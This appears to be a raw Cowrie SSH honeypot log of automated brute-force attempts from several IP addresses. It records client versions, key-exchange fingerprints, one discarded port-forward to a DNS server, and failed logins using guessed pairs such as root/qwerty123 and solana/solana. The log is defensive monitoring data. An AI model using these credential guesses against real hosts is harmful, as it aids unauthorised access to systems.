{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:44.814347Z","src_ip":"87.251.64.176","session":"0dab047410a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:45.045889Z","src_ip":"87.251.64.176","session":"0dab047410a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:45.562398Z","src_ip":"8.219.200.1","session":"932c626730d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":20683,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffa36e6a2bb8","protocol":"ssh","message":"New connection: 178.20.210.208:20683 (159.203.135.109:22) [session: ffa36e6a2bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:46.184217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:46.191029Z","src_ip":"178.20.210.208","session":"ffa36e6a2bb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:46.287860Z","src_ip":"178.20.210.208","session":"ffa36e6a2bb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"share","password":"share","message":"login attempt [share/share] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:46.690441Z","src_ip":"178.20.210.208","session":"ffa36e6a2bb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:47.796381Z","src_ip":"178.20.210.208","session":"ffa36e6a2bb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45842,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cbf57401a93","protocol":"ssh","message":"New connection: 45.156.87.147:45842 (10.17.0.5:22) [session: 8cbf57401a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:48.044977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:48.048867Z","src_ip":"45.156.87.147","session":"8cbf57401a93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:48.133435Z","src_ip":"45.156.87.147","session":"8cbf57401a93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1234","message":"login attempt [openclaw/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:48.387685Z","src_ip":"45.156.87.147","session":"8cbf57401a93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:49.472720Z","src_ip":"45.156.87.147","session":"8cbf57401a93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52200,"dst_ip":"10.17.0.5","dst_port":22,"session":"fedd1054365c","protocol":"ssh","message":"New connection: 45.156.87.147:52200 (10.17.0.5:22) [session: fedd1054365c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:53.999180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:54.003287Z","src_ip":"45.156.87.147","session":"fedd1054365c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:54.086034Z","src_ip":"45.156.87.147","session":"fedd1054365c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:54.332533Z","src_ip":"45.156.87.147","session":"fedd1054365c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:55.423091Z","src_ip":"45.156.87.147","session":"fedd1054365c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52384,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bf1807d7a5b","protocol":"ssh","message":"New connection: 80.94.92.184:52384 (159.203.135.109:22) [session: 4bf1807d7a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:55.747204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:57.679287Z","src_ip":"80.94.92.184","session":"4bf1807d7a5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:57.685317Z","src_ip":"80.94.92.184","session":"4bf1807d7a5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:59.332365Z","src_ip":"80.94.92.184","session":"4bf1807d7a5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52134,"dst_ip":"10.17.0.5","dst_port":22,"session":"97715c6ea91c","protocol":"ssh","message":"New connection: 45.156.87.147:52134 (10.17.0.5:22) [session: 97715c6ea91c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:34:59.956691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:00.052010Z","src_ip":"45.156.87.147","session":"97715c6ea91c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:00.055365Z","src_ip":"45.156.87.147","session":"97715c6ea91c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:00.387748Z","src_ip":"45.156.87.147","session":"97715c6ea91c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:01.449811Z","src_ip":"80.94.92.184","session":"4bf1807d7a5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:01.471907Z","src_ip":"45.156.87.147","session":"97715c6ea91c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":49688,"dst_ip":"159.203.135.109","dst_port":22,"session":"55faab59056c","protocol":"ssh","message":"New connection: 103.189.235.114:49688 (159.203.135.109:22) [session: 55faab59056c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:03.097279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:03.102893Z","src_ip":"103.189.235.114","session":"55faab59056c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:03.364916Z","src_ip":"103.189.235.114","session":"55faab59056c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devphp","password":"devphp","message":"login attempt [devphp/devphp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:04.443440Z","src_ip":"103.189.235.114","session":"55faab59056c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:05.708322Z","src_ip":"103.189.235.114","session":"55faab59056c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52150,"dst_ip":"10.17.0.5","dst_port":22,"session":"94bf7db6a7a1","protocol":"ssh","message":"New connection: 45.156.87.147:52150 (10.17.0.5:22) [session: 94bf7db6a7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:06.220509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:06.225506Z","src_ip":"45.156.87.147","session":"94bf7db6a7a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:06.308516Z","src_ip":"45.156.87.147","session":"94bf7db6a7a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:06.555496Z","src_ip":"45.156.87.147","session":"94bf7db6a7a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:07.640227Z","src_ip":"45.156.87.147","session":"94bf7db6a7a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54856,"dst_ip":"10.17.0.5","dst_port":22,"session":"277883c8ace1","protocol":"ssh","message":"New connection: 45.156.87.147:54856 (10.17.0.5:22) [session: 277883c8ace1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:12.240265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:12.245467Z","src_ip":"45.156.87.147","session":"277883c8ace1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:12.362008Z","src_ip":"45.156.87.147","session":"277883c8ace1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:35:12.648500Z","src_ip":"45.156.87.147","session":"277883c8ace1","protocol":"ssh"}
